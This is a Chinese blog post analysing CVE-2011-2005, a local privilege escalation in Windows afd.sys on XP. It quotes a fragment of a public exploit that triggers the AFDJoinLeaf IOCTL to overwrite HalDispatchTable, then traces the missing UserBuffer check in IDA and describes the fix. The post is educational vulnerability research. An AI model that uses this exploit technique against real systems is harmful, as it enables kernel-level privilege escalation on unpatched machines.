前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >CVE-2011-2005-Microsoft Windows Afd.sys 本地提权漏洞

CVE-2011-2005-Microsoft Windows Afd.sys 本地提权漏洞

作者头像
用户1423082
发布2024-12-31 18:33:49
发布2024-12-31 18:33:49
7300
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

从利用代码到漏洞函数的定位分析

环境

windows Xp IDA 6.8

exp: https://www.exploit-db.com/exploits/18176/

可以看到是对AFDJoinLeaf函数的一个利用

代码语言:javascript
代码运行次数:0
复制
## Trigger Pointer Overwrite 
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )

我看win7的afd.sys好像没有AFDJoinLeaf这个函数,后来用xp的了,注意的是IDA7.0看不大函数名,所以还是IDA6.8好了

function窗口搜索AFDJoinLeaf,跟过去

length不为0才会去检测UserBuffer,那么我们就可以有任意地址写入的漏洞了

利用的话还要下面限制

输入长度大于0x18

handle不为0

修复的话就直接检测UserBuffer的有效性,不管length是否设置为0

reference

《漏洞战争》

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-06-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 从利用代码到漏洞函数的定位分析
  • reference
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档